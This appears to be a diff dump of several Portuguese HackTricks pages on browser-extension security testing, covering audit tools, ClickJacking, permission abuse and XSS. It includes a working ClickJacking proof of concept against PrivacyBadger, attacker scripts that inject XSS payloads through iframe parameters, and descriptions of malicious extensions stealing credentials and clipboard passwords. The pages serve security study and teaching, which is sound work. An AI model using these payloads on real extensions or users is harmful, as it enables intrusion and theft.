* Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde ele está incluído, bem como o tipo dessas páginas e o status de [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources).
|
||||
* **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
|
||||
* **Bibliotecas Vulneráveis Conhecidas**: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar o uso de bibliotecas JavaScript conhecidas por serem vulneráveis.
|
||||
* Baixar extensão e versões formatadas.
|
||||
* Baixar a extensão original.
|
||||
* Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente formatados).
|
||||
* Cache automático dos resultados da análise, executar uma análise de extensão levará um bom tempo na primeira vez que você executá-la. No entanto, a segunda vez, assumindo que a extensão não foi atualizada, será quase instantânea devido aos resultados estarem em cache.
|
||||
* URLs de Relatório Linkáveis, facilmente linkar alguém para um relatório de extensão gerado pelo tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
O projeto Neto é um pacote Python 3 concebido para analisar e desvendar recursos ocultos de plugins e extensões de navegadores bem conhecidos, como Firefox e Chrome. Ele automatiza o processo de descompactar os arquivos empacotados para extrair esses recursos de recursos relevantes em uma extensão como `manifest.json`, pastas de localização ou arquivos-fonte Javascript e HTML.
|
||||
|
||||
## Referências
|
||||
|
||||
* **Agradecimentos a** [**@naivenom**](https://twitter.com/naivenom) **pela ajuda com esta metodologia**
|
||||
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
* [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||
* [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||||
* [https://help.passbolt.com/assets/files/PBL-02-report.pdf](https://help.passbolt.com/assets/files/PBL-02-report.pdf)
|
||||
* [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts)
|
||||
* [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages)
|
||||
* [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,114 @@
|
|||
# BrowExt - ClickJacking
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão de navegador.\
|
||||
Se você não sabe o que é ClickJacking, confira:
|
||||
|
||||
{% content-ref url="../clickjacking.md" %}
|
||||
[clickjacking.md](../clickjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Extensões contêm o arquivo **`manifest.json`** e esse arquivo JSON tem um campo `web_accessible_resources`. Veja o que [a documentação do Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) diz sobre isso:
|
||||
|
||||
> Esses recursos estariam então disponíveis em uma página da web através da URL **`chrome-extension://[ID DO PACOTE]/[CAMINHO]`**, que pode ser gerada com o método **`extension.getURL`**. Recursos na lista de permissões são servidos com cabeçalhos CORS apropriados, então eles estão disponíveis através de mecanismos como XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
|
||||
Além de serem acessíveis pela web, os recursos no **`web_accessible_resources`** funcionam com a autoridade ambiente da extensão: eles podem alterar o estado, carregar outros recursos e modificar o navegador de certas maneiras. Se um documento em `web_accessible_resources` pode realizar qualquer comportamento interessante, um atacante pode incorporá-lo em uma página da web e enganar visitantes para ativá-lo.
|
||||
|
||||
## Exemplo do PrivacyBadger
|
||||
|
||||
Foi descoberto que na extensão PrivacyBadger, os conteúdos do diretório `skin/` eram `web_accessible_resources`:
|
||||
```json
|
||||
"web_accessible_resources": [
|
||||
"skin/*",
|
||||
"icons/*"
|
||||
]
|
||||
```
|
||||
Ao carregar `skin/popup.html`, o documento que é renderizado quando você clica no ícone do PrivacyBadger no navegador, **em um iframe poderíamos enganar o usuário a clicar em "Desativar PrivacyBadger para este site"**, expondo o usuário a rastreamento adicional e comprometendo a função do PrivacyBadger. **Confira o exemplo de vídeo de ClickJacking em** [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)
|
||||
|
||||
A correção foi simples: **remover `/skin/*` dos `web_accessible_resources`**.
|
||||
|
||||
### PoC
|
||||
```html
|
||||
<style>
|
||||
iframe {
|
||||
width: 430px;
|
||||
height: 300px;
|
||||
opacity: 0.01;
|
||||
float: top;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
#stuff {
|
||||
float: top;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
button {
|
||||
float: top;
|
||||
position: absolute;
|
||||
top: 168px;
|
||||
left: 100px;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<div id="stuff">
|
||||
<h1>
|
||||
Click the button
|
||||
</h1>
|
||||
<button id="button">
|
||||
click me
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
||||
</iframe>
|
||||
```
|
||||
## Exemplo Metamask
|
||||
|
||||
Um [**post de blog sobre um ClickJacking no Metamask pode ser encontrado aqui**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era **`https:`** ou **`http:`** (e não **`chrome:`**, por exemplo):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Outro ClickJacking corrigido** na extensão do Metamask foi que os usuários podiam **Clicar para adicionar à lista branca** quando uma página era suspeita de ser phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável a Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar em adicionar à lista branca sem perceber, e depois voltar para a página de phishing que estaria na lista branca.
|
||||
|
||||
## Exemplo Steam Inventory Helper
|
||||
|
||||
Verifique a seguinte página para entender como um **XSS** em uma extensão de navegador foi combinado com uma vulnerabilidade de **ClickJacking**:
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,141 @@
|
|||
# BrowExt - permissões & host\_permissions
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
### **`permissions`**
|
||||
|
||||
Permissões são definidas no arquivo **`manifest.json`** da extensão usando a propriedade **`permissions`** e permitem acesso a quase tudo que um navegador pode acessar (Cookies ou Armazenamento Físico):
|
||||
|
||||
O manifesto anterior declara que a extensão requer a permissão `storage`. Isso significa que ela pode usar [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para guardar seus dados de forma persistente. Diferente dos cookies ou APIs `localStorage` que dão aos usuários algum nível de controle, **o armazenamento da extensão normalmente só pode ser limpo desinstalando a extensão**.
|
||||
|
||||
Uma extensão solicitará as permissões indicadas em seu arquivo **`manifest.json`** e após instalar a extensão, você pode **sempre verificar suas permissões no seu navegador**, como mostrado nesta imagem:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Você pode encontrar a [**lista completa de permissões que uma Extensão de Navegador Chromium pode solicitar aqui**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) e uma [**lista completa para extensões do Firefox aqui**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.**
|
||||
|
||||
### `host_permissions`
|
||||
|
||||
A configuração opcional, mas poderosa, **`host_permissions`** indica com quais hosts a extensão poderá interagir através de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) e [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
|
||||
|
||||
As seguintes `host_permissions` basicamente permitem tudo na web:
|
||||
```json
|
||||
"host_permissions": [
|
||||
"*://*/*"
|
||||
]
|
||||
|
||||
// Or:
|
||||
"host_permissions": [
|
||||
"http://*/*",
|
||||
"https://*/*"
|
||||
]
|
||||
|
||||
// Or:
|
||||
"host_permissions": [
|
||||
"<all_urls>"
|
||||
]
|
||||
```
|
||||
Estes são os hosts aos quais a extensão do navegador pode acessar livremente. Isso ocorre porque quando uma extensão do navegador chama **`fetch("https://gmail.com/")`**, ela não é restrita pelo CORS.
|
||||
|
||||
## Abusando de `permissions` e `host_permissions`
|
||||
|
||||
### Abas
|
||||
|
||||
Além disso, **`host_permissions`** também desbloqueiam funcionalidades "avançadas" da [**API de abas**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elas permitem que a extensão chame [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) e obtenha não apenas uma **lista das abas do navegador do usuário**, mas também saiba qual **página da web (ou seja, endereço e título) está carregada**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Não só isso, ouvintes como [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **tornam-se muito mais úteis também**. Eles serão notificados sempre que uma nova página for carregada em uma aba.
|
||||
{% endhint %}
|
||||
|
||||
### Executando scripts de conteúdo <a href="#running-content-scripts" id="running-content-scripts"></a>
|
||||
|
||||
Scripts de conteúdo não são necessariamente escritos estaticamente no manifesto da extensão. Dadas suficientes **`host_permissions`**, **extensões também podem carregá-los dinamicamente chamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
|
||||
|
||||
Ambas as APIs permitem executar não apenas arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a segunda espera uma função JavaScript, que é menos propensa a vulnerabilidades de injeção. Ainda assim, ambas as APIs podem causar estragos se mal utilizadas.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Além das capacidades acima, scripts de conteúdo podem, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Outra maneira clássica de abusar deles é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Finalmente, eles podem **manipular sites bancários** para redirecionar transferências de dinheiro.
|
||||
{% endhint %}
|
||||
|
||||
### Privilégios implícitos <a href="#implicit-privileges" id="implicit-privileges"></a>
|
||||
|
||||
Alguns privilégios de extensão **não precisam ser declarados explicitamente**. Um exemplo é a [API de abas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sua funcionalidade básica é acessível sem quaisquer privilégios. Qualquer extensão pode ser notificada quando você abre e fecha abas, apenas não saberá a qual site essas abas correspondem.
|
||||
|
||||
Parece inofensivo demais? A [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) é um pouco menos inofensiva. Ela pode ser usada para **criar uma nova aba**, essencialmente o mesmo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), que pode ser chamado por qualquer site. No entanto, enquanto `window.open()` está sujeito ao **bloqueador de pop-up, `tabs.create()` não está**. 
|
||||
|
||||
{% hint style="danger" %}
|
||||
Uma extensão pode criar qualquer número de abas sempre que quiser.
|
||||
{% endhint %}
|
||||
|
||||
Se você analisar os possíveis parâmetros de `tabs.create()`, também notará que suas capacidades vão muito além do que `window.open()` tem permissão para controlar. E enquanto o Firefox não permite o uso de URIs `data:` com esta API, o Chrome não tem tal proteção. **O uso de tais URIs no nível superior foi** [**proibido devido ao abuso para phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
|
||||
|
||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) é muito semelhante a `tabs.create()`, mas **modificará uma aba existente**. Então, uma extensão maliciosa pode, por exemplo, carregar arbitrariamente uma página de publicidade em uma de suas abas e também pode ativar a aba correspondente.
|
||||
|
||||
### Webcam, geolocalização e amigos <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
|
||||
|
||||
Você provavelmente sabe que sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com considerável potencial de abuso, então os usuários têm que confirmar cada vez que ainda querem isso.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Não é o caso com extensões de navegador. **Se uma extensão do navegador** [**quer acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
|
||||
{% endhint %}
|
||||
|
||||
Normalmente, uma extensão fará isso imediatamente após ser instalada. Uma vez que este prompt é aceito, **o acesso à webcam é possível a qualquer momento**, mesmo que o usuário não esteja interagindo com a extensão naquele momento. Sim, um usuário só aceitará este prompt se a extensão realmente precisar de acesso à webcam. Mas depois disso, eles têm que confiar que a extensão não gravará nada secretamente.
|
||||
|
||||
Com acesso à [sua localização geográfica exata](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ou [conteúdos da sua área de transferência](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), conceder permissão explicitamente é desnecessário. **Uma extensão simplesmente adiciona `geolocation` ou `clipboard` à entrada de** [**permissões**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **do seu manifesto**. Esses privilégios de acesso são então concedidos implicitamente quando a extensão é instalada. Assim, uma extensão maliciosa ou comprometida com esses privilégios pode criar seu perfil de movimento ou monitorar sua área de transferência para senhas copiadas sem que você perceba nada.
|
||||
|
||||
Adicionar a palavra-chave **`history`** à entrada de [permissões](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) do manifesto da extensão concede **acesso à** [**API de histórico**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Ela permite recuperar todo o histórico de navegação do usuário de uma só vez, sem esperar que o usuário visite esses sites novamente.
|
||||
|
||||
A **permissão `bookmarks`** tem potencial de abuso semelhante, ela permite **ler todos os favoritos através da** [**API de favoritos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
|
||||
|
||||
### Permissão de armazenamento <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||
|
||||
O armazenamento da extensão é meramente uma coleção de chave-valor, muito semelhante ao [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) que qualquer site poderia usar. Portanto, nenhuma informação sensível deve ser armazenada aqui.
|
||||
|
||||
No entanto, empresas de publicidade também poderiam abusar desse armazenamento.
|
||||
|
||||
### Mais permissões
|
||||
|
||||
Você pode encontrar a [**lista completa de permissões que uma Extensão do Navegador Chromium pode solicitar aqui**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) e uma [**lista completa para extensões do Firefox aqui**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
|
||||
|
||||
## Prevenção <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||
|
||||
As políticas de desenvolvedor do Google [proíbem explicitamente](https://developer.chrome.com/docs/webstore/program_policies/#permissions) solicitar mais privilégios do que o necessário para a extensão funcionar. Na minha experiência, essa regra de fato funciona. Só consigo pensar em um caso em que uma extensão do navegador [solicitou privilégios demais](https://palant.info/2020/01/13/pwning-avast-secure-browser-for-fun-and-profit/#selecting-a-target), e essa extensão particular estava sendo distribuída com o navegador em vez de via alguma loja de complementos.
|
||||
|
||||
Em alguns casos, os navegadores poderiam fazer melhor para **limitar o potencial de abuso** dos privilégios das extensões. Por exemplo, o Chrome permite a gravação de tela através das APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) ou [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/). O potencial de abuso é baixo porque o primeiro só pode ser iniciado como **resposta a uma ação do usuário** (normalmente clicando no ícone da extensão) enquanto o último traz um prompt para selecionar a janela do aplicativo a ser gravada. Ambos são suficientes para impedir que as extensões comecem a gravar silenciosamente em segundo plano.
|
||||
|
||||
No entanto, tais melhorias de segurança tendem a tornar as extensões **menos flexíveis e menos amigáveis ao usuário**. Um bom exemplo aqui é a [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission). Seu propósito é tornar desnecessário solicitar privilégios de host para toda a internet. Em vez disso, a **extensão pode acessar a aba atual quando a extensão é ativada explicitamente**, normalmente clicando em seu ícone.
|
||||
|
||||
Essa abordagem funciona bem para algumas extensões, particularmente aquelas onde o usuário precisa acionar explicitamente uma ação. Ela **não funciona em cenários onde as extensões têm que realizar seu trabalho automaticamente** no entanto (ou seja, sendo mais conveniente para o usuário) ou onde a ação da extensão não pode ser executada imediatamente e requer preparação.
|
||||
|
||||
## **Referências**
|
||||
|
||||
* [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
|
||||
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -0,0 +1,135 @@
|
|||
# BrowExt - Exemplo de XSS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## XSS em Iframe
|
||||
|
||||
**Content script** cria um Iframe indicando uma **URL nos parâmetros da fonte do iFrame**:
|
||||
```javascript
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
frame.src = chrome.runtime.getURL("message.html") +
|
||||
"?message=" + encodeURIComponent(result.message) +
|
||||
"&url=https://example.net/explanation";
|
||||
});
|
||||
```
|
||||
Uma página html exposta: **`message.html`**, acessível pelo **navegador**, contém um código como:
|
||||
```java
|
||||
$(() =>
|
||||
{
|
||||
let params = new URLSearchParams(location.search);
|
||||
$(document.body).append(params.get("message") + " <button>Explain</button>");
|
||||
$("body > button").click(() =>
|
||||
{
|
||||
chrome.tabs.create({ url: params.get("url") });
|
||||
});
|
||||
});
|
||||
```
|
||||
A página maliciosa executa um script como o seguinte para alterar a mensagem por um **XSS payload**:
|
||||
```javascript
|
||||
setTimeout(() =>
|
||||
{
|
||||
let frame = document.querySelector("iframe:last-child");
|
||||
let src = frame.src;
|
||||
|
||||
// Remove existing query parameters
|
||||
src = src.replace(/\?.*/, "");
|
||||
|
||||
// Add malicious query parameters
|
||||
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
|
||||
|
||||
// Load into frame
|
||||
frame.src = src;
|
||||
}, 1000);
|
||||
```
|
||||
Uma Política de Segurança de Conteúdo permissiva como 
|
||||
```json
|
||||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||||
```
|
||||
permitirá a execução do código JS.
|
||||
|
||||
Outra forma de acionar o XSS quando desejar é executando:
|
||||
```javascript
|
||||
let frame = document.createElement("iframe");
|
||||
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
|
||||
+ encodeURIComponent("<script>alert('XSS')</script>");
|
||||
document.body.appendChild(frame);
|
||||
```
|
||||
## XSS Baseado em DOM + ClickJacking
|
||||
|
||||
A primeira vulnerabilidade é a vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM em **`/html/bookmarks.html`**, a seguir está o JavaScript vulnerável incluído em **`bookmarks.js`**:
|
||||
```javascript
|
||||
$('#btAdd').click(function() {
|
||||
var btname = $('#txtName').val();
|
||||
if ($('.custom-button .name').filter(function() {
|
||||
return $(this).text() === btname;
|
||||
}).length) return false;
|
||||
|
||||
var span = $('<span class="custom-button">');
|
||||
span.html('<span class="name">' + btname + '</span>');
|
||||
span.append('<a href="javascript:void(0)" title="remove">x</a>');
|
||||
span.attr('title', btname);
|
||||
span.data('id', (new Date().getTime()));
|
||||
$('div.custom-buttons .existing').append(span);
|
||||
save_options();
|
||||
});
|
||||
```
|
||||
O JavaScript acima pega o **valor** da caixa de texto **`txtName`** e usa **concatenação de strings para construir HTML** que é anexado ao DOM através da função [“append()”](https://api.jquery.com/append/) do jQuery.
|
||||
|
||||
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome deveria impedir que essa vulnerabilidade fosse explorada. No entanto, devido ao **afrouxamento dessa política via** [**‘unsafe-eval’**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) e ao uso das APIs DOM do jQuery, ainda foi possível **explorar**. Isso ocorre porque muitas das APIs DOM do jQuery fazem uso de [“globalEval()”](https://api.jquery.com/jquery.globaleval/), que automaticamente passa scripts para [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) ao serem anexados ao DOM.
|
||||
|
||||
Embora essa seja uma vulnerabilidade grave, por si só a exploração é bastante limitada devido à **interação do usuário necessária para explorá-la**. A vítima teria que abrir a página, colar um payload de Cross-site Scripting (XSS) no campo e clicar no botão “Add” para explorá-la.
|
||||
|
||||
Para melhor armar essa vulnerabilidade, fazemos uso de uma vulnerabilidade separada (**clickjacking**) para reforçar o ataque.
|
||||
|
||||
A seguir, um trecho do manifesto da extensão do Chrome:
|
||||
```json
|
||||
...trimmed for brevity...
|
||||
"web_accessible_resources": [
|
||||
"_locales/*",
|
||||
"bundle/*",
|
||||
"dist/*",
|
||||
"assets/*",
|
